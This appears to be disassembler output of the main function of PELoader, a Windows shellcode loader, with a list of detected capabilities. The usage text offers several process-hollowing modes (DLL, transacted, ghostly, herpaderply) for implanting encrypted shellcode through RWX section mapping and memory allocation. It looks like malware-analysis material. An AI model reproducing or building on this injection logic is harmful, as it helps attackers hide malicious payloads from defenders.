Function at 0x140004090
Capabilities:
Allocate or change rwx memory
Map section object
Query environment variable

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push rbp
push r12
push r14
lea rbp, [rsp - 0x1e0]
sub rsp, 0x2e0
mov rax, qword [section..data]
xor rax, rsp
mov qword [rbp + 0x1d0], rax
mov eax, 0x20
lea rcx, str.hagrid
xor edi, edi
mov word [rbp - 0x70], ax
mov esi, edi
call qword [sym.imp.api_ms_win_crt_environment_l1_1_0.dll_getenv]
mov rbx, rax
test rax, rax
je 0x1400046e6
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, str.argument:
call fcn.1400028f0
mov rcx, rax
mov rdx, rbx
call fcn.1400028f0
mov rcx, rax
lea rdx, [0x140002ac0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rdx, [rbp - 0x70]
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strtok]
mov rbx, rax
test rax, rax
je 0x1400046e6
lea r14, [rsp + 0x50]
mov r12, 0xffffffffffffffff
nop dword [rax]
mov rcx, r12
inc rcx
cmp byte [rbx + rcx], dil
jne 0x140004143
add rcx, 1
cmovb rcx, r12
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov qword [r14], rax
nop dword [rax]
movzx ecx, byte [rbx]
lea rbx, [rbx + 1]
mov byte [rax], cl
lea rax, [rax + 1]
test cl, cl
jne 0x140004160
lea rdx, [rbp - 0x70]
xor ecx, ecx
inc esi
add r14, 8
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strtok]
mov rbx, rax
test rax, rax
jne 0x140004140
cmp esi, 2
jl 0x1400046e6
mov rbx, qword [rsp + 0x50]
xor r14b, r14b
mov qword [rsp + 0x300], r15
mov rcx, rdi
lea r15, str.cdll
nop
movzx eax, byte [rbx + rcx]
inc rcx
cmp al, byte [r15 + rcx - 1]
jne 0x1400041da
cmp rcx, 5
jne 0x1400041b0
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, str.Classic
call fcn.1400028f0
mov r14b, 1
mov rcx, rdi
lea rdx, str.mdll
nop dword [rax]
nop dword [rax + rax]
movzx eax, byte [rbx + rcx]
inc rcx
cmp al, byte [rdx + rcx - 1]
jne 0x140004205
cmp rcx, 5
jne 0x1400041f0
jmp 0x140004228
mov rcx, rdi
nop dword [rax + rax]
movzx eax, byte [rbx + rcx]
inc rcx
cmp al, byte [r15 + rcx - 1]
jne 0x1400042a3
cmp rcx, 5
jne 0x140004210
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, str.DLL_Hollowing_n
call fcn.1400028f0
xor edx, edx
lea rcx, [rbp - 0x40]
mov r8d, 0x208
call sub.VCRUNTIME140.dll_memset
cmp esi, 3
jge 0x14000426f
mov rcx, qword [rsp + 0x58]
xor r8d, r8d
movzx edx, r14b
call fcn.140003a30
mov r15, qword [rsp + 0x300]
jmp 0x14000471c
mov rcx, qword [rsp + 0x60]
lea rdx, [rbp - 0x40]
mov r8d, 0x208
call qword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsA]
mov rcx, qword [rsp + 0x58]
lea r8, [rbp - 0x40]
movzx edx, r14b
call fcn.140003a30
mov r15, qword [rsp + 0x300]
jmp 0x14000471c
mov rcx, rdi
lea rdx, [0x1400098c8]
nop dword [rax]
movzx eax, byte [rbx + rcx]
inc rcx
cmp al, byte [rdx + rcx - 1]
jne 0x140004312
cmp rcx, 4
jne 0x1400042b0
lea rcx, str.Encrypting_File_n
call fcn.140001d70
cmp esi, 2
jne 0x1400042ed
mov rcx, qword [rsp + 0x58]
xor edx, edx
call fcn.140004b60
mov r15, qword [rsp + 0x300]
jmp 0x14000471c
cmp esi, 3
jne 0x1400046a6
mov rdx, qword [rsp + 0x60]
mov rcx, qword [rsp + 0x58]
call fcn.140004b60
mov r15, qword [rsp + 0x300]
jmp 0x14000471c
mov rcx, rdi
lea rdx, [0x1400098e4]
nop dword [rax]
movzx eax, byte [rbx + rcx]
inc rcx
cmp al, byte [rdx + rcx - 1]
jne 0x1400044aa
cmp rcx, 4
jne 0x140004320
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, str.Mapped_Section_n
call fcn.1400028f0
mov rcx, qword [rsp + 0x58]
lea rax, [rbp - 0x80]
lea r9, [rsp + 0x78]
mov qword [rsp + 0x20], rax
lea r8, [rsp + 0x68]
lea rdx, [rsp + 0x70]
call fcn.140003150
test eax, eax
je 0x1400046dc
mov rax, qword [rbp - 0x80]
lea r9, [rbp - 0x58]
mov qword [rbp - 0x50], rax
lea rcx, [rbp - 0x78]
mov dword [rbp - 0x58], eax
xor r8d, r8d
xor eax, eax
mov qword [rsp + 0x30], rdi
mov dword [rsp + 0x28], 0x8000000
mov qword [rbp - 0x78], rdi
mov dword [rbp - 0x54], eax
lea edx, [rax + 0xe]
mov dword [rsp + 0x20], 0x40
call qword [sym.imp.ntdll.dll_NtCreateSection]
mov rcx, qword [rbp - 0x78]
lea rax, [rbp - 0x50]
mov dword [rsp + 0x48], 0x40
lea r8, [rbp - 0x68]
mov dword [rsp + 0x40], edi
xor r9d, r9d
mov dword [rsp + 0x38], 2
mov rdx, r12
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x28], rdi
mov qword [rsp + 0x20], rdi
mov qword [rbp - 0x68], rdi
call qword [sym.imp.ntdll.dll_NtMapViewOfSection]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, str.Created_RWX_mapped_section_n
call fcn.1400028f0
mov rdx, qword [rbp - 0x80]
lea r9, [rbp - 0x60]
mov rcx, qword [rbp - 0x68]
mov r8d, 4
mov dword [rbp - 0x60], edi
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, str.___Set_page_to_RW_n
call fcn.1400028f0
mov rbx, qword [rsp + 0x68]
xor r9d, r9d
mov r8, qword [rbp - 0x68]
mov rcx, rbx
mov rdx, qword [rbp - 0x80]
call fcn.140005590
test al, al
jne 0x14000446d
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
lea rdx, str.____Failed_to_relocate_the_implant__n
call fcn.1400028f0
mov r15, qword [rsp + 0x300]
jmp 0x14000471c
mov r8, qword [rbp - 0x80]
mov rdx, rbx
mov rcx, qword [rbp - 0x68]
call fcn.140003360
test al, al
je 0x1400046dc
xor edx, edx
mov rcx, rbx
call fcn.140005f38
mov rdx, qword [rsp + 0x70]
mov rcx, qword [rbp - 0x68]
call fcn.1400035c0
mov r15, qword [rsp + 0x300]
jmp 0x14000471c
mov rcx, rdi
lea rdx, str.priv
movzx eax, byte [rbx + rcx]
inc rcx
cmp al, byte [rdx + rcx - 1]
jne 0x1400045b3
cmp rcx, 5
jne 0x1400044b4
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, str.Private_Page_n
call fcn.1400028f0
mov rcx, qword [rsp + 0x58]
lea rax, [rbp - 0x68]
lea r9, [rsp + 0x78]
mov qword [rsp + 0x20], rax
lea r8, [rsp + 0x70]
lea rdx, [rsp + 0x68]
call fcn.140003150
test eax, eax
je 0x1400046dc
mov dword [rsp + 0x28], 4
lea r9, [rbp - 0x68]
xor r8d, r8d
mov dword [rsp + 0x20], 0x3000
lea rdx, [rbp - 0x80]
mov qword [rbp - 0x80], rdi
mov rcx, r12
call qword [sym.imp.ntdll.dll_NtAllocateVirtualMemory]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, str.___Allocated_a_RW_memory_region_n
call fcn.1400028f0
mov rbx, qword [rsp + 0x70]
xor r9d, r9d
mov r8, qword [rbp - 0x80]
mov rcx, rbx
mov rdx, qword [rbp - 0x68]
call fcn.140005590
test al, al
je 0x14000444d
mov r8, qword [rbp - 0x68]
mov rdx, rbx
mov rcx, qword [rbp - 0x80]
call fcn.140003360
test al, al
je 0x1400046dc
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, str.___Set_page_to_RX_n
call fcn.1400028f0
xor edx, edx
mov rcx, rbx
call fcn.140005f38
mov rdx, qword [rsp + 0x68]
mov rcx, qword [rbp - 0x80]
call fcn.1400035c0
mov r15, qword [rsp + 0x300]
jmp 0x14000471c
mov rcx, rdi
lea rdx, str.ghost
nop dword [rax]
movzx eax, byte [rbx + rcx]
inc rcx
cmp al, byte [rdx + rcx - 1]
jne 0x140004611
cmp rcx, 6
jne 0x1400045c0
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, str.Ghostly_Hollowing_n
call fcn.1400028f0
xor edx, edx
mov dword [0x14000d880], edi
mov rcx, qword [rsp + 0x58]
cmp esi, 3
jge 0x14000468f
xor r8d, r8d
call fcn.140003df0
mov r15, qword [rsp + 0x300]
jmp 0x14000471c
lea rcx, [0x14000992c]
nop dword [rax + rax]
movzx eax, byte [rbx + rdi]
inc rdi
cmp al, byte [rcx + rdi - 1]
jne 0x140004655
cmp rdi, 4
jne 0x140004620
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, str.Transacted_Hollowing_n
call fcn.1400028f0
lea edx, [rdi - 3]
mov dword [0x14000d880], 1
jmp 0x1400045ee
lea rdx, str.herpaderp
mov rcx, rbx
call sub.api_ms_win_crt_string_l1_1_0.dll_strcmp
test eax, eax
jne 0x1400046a6
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, str.Herpaderply_Hollowing_n
call fcn.1400028f0
mov edx, 2
mov dword [0x14000d880], 2
jmp 0x1400045ee
mov r8, qword [rsp + 0x60]
call fcn.140003df0
mov r15, qword [rsp + 0x300]
jmp 0x14000471c
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, str.PELoader_nMore_info:_https:__github.com_Hagrid29_PELoader__n
call fcn.1400028f0
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, str.set_hagrid_PELoader_argument__n.PELoader.exe__binaray_argument__nOptions:_nEncryption:_enc__payload___output_file__n_t_payload____the_payload_that_will_be_encrypted_nPrivate_Page:_priv__encrypted_payload__n_t_encrypted_payload____the_shellcode_that_will_be_implanted_nMapped_Page:_map__encrypted_payload__n_t_encrypted_payload____the_shellcode_that_will_be_implanted_nDLL_Hollowing__Load_:_cdll__encrypted_payload___target_dll__n_t_encrypted_payload____the_shellcode_that_will_be_implanted_n_t_target_dll____the_DLL_that_will_be_loaded_by_LoadLibary__default:_auto_search_a_sutiable_DLL__nDLL_Hollowing__Map_:_mdll__encrypted_payload___target_dll__n_t_encrypted_payload____the_shellcode_that_will_be_implanted_n_t_target_dll____the_DLL_that_will_be_mapped__default:_auto_search_a_sutiable_DLL__nTransacted_Hollowing:_txf__encrypted_payload___dummy_file__file_path__n_t_encrypted_payload____the_shellcode_that_will_be_implanted_n_t_dummy_file____the_dummy_file__not_necessarily_exist__that_will_be_transacted__default:_create_random_file__nGhostly_Hollowing:_ghost__encrypted_payload___dummy_file__n_t_encrypted_payload____the_shellcode_that_will_be_implanted_n_t_dummy_file____the_dummy_file__necessarily_exist__that_will_be_put_in_delete_pending_state__default:_create_random_file__nHerpaderply_Hollowing:_herpaderp__encrypted_payload___dummy_file__n_t_encrypted_payload____the_shellcode_that_will_be_implanted_n_t_dummy_file____the_dummy_file__necessarily_exist__that_will_be_overwritten__default:_create_random_file__n
call fcn.1400028f0
lea rdx, [0x140002ac0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov r15, qword [rsp + 0x300]
jmp 0x14000471c
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, str.PELoader_nMore_info:_https:__github.com_Hagrid29_PELoader__n
call fcn.1400028f0
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, str.set_hagrid_PELoader_argument__n.PELoader.exe__binaray_argument__nOptions:_nEncryption:_enc__payload___output_file__n_t_payload____the_payload_that_will_be_encrypted_nPrivate_Page:_priv__encrypted_payload__n_t_encrypted_payload____the_shellcode_that_will_be_implanted_nMapped_Page:_map__encrypted_payload__n_t_encrypted_payload____the_shellcode_that_will_be_implanted_nDLL_Hollowing__Load_:_cdll__encrypted_payload___target_dll__n_t_encrypted_payload____the_shellcode_that_will_be_implanted_n_t_target_dll____the_DLL_that_will_be_loaded_by_LoadLibary__default:_auto_search_a_sutiable_DLL__nDLL_Hollowing__Map_:_mdll__encrypted_payload___target_dll__n_t_encrypted_payload____the_shellcode_that_will_be_implanted_n_t_target_dll____the_DLL_that_will_be_mapped__default:_auto_search_a_sutiable_DLL__nTransacted_Hollowing:_txf__encrypted_payload___dummy_file__file_path__n_t_encrypted_payload____the_shellcode_that_will_be_implanted_n_t_dummy_file____the_dummy_file__not_necessarily_exist__that_will_be_transacted__default:_create_random_file__nGhostly_Hollowing:_ghost__encrypted_payload___dummy_file__n_t_encrypted_payload____the_shellcode_that_will_be_implanted_n_t_dummy_file____the_dummy_file__necessarily_exist__that_will_be_put_in_delete_pending_state__default:_create_random_file__nHerpaderply_Hollowing:_herpaderp__encrypted_payload___dummy_file__n_t_encrypted_payload____the_shellcode_that_will_be_implanted_n_t_dummy_file____the_dummy_file__necessarily_exist__that_will_be_overwritten__default:_create_random_file__n
call fcn.1400028f0
mov rcx, rax
lea rdx, [0x140002ac0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
xor eax, eax
mov rcx, qword [rbp + 0x1d0]
xor rcx, rsp
call fcn.140006450
lea r11, [rsp + 0x2e0]
mov rbx, qword [r11 + 0x28]
mov rsi, qword [r11 + 0x30]
mov rdi, qword [r11 + 0x38]
mov rsp, r11
pop r14
pop r12
pop rbp
ret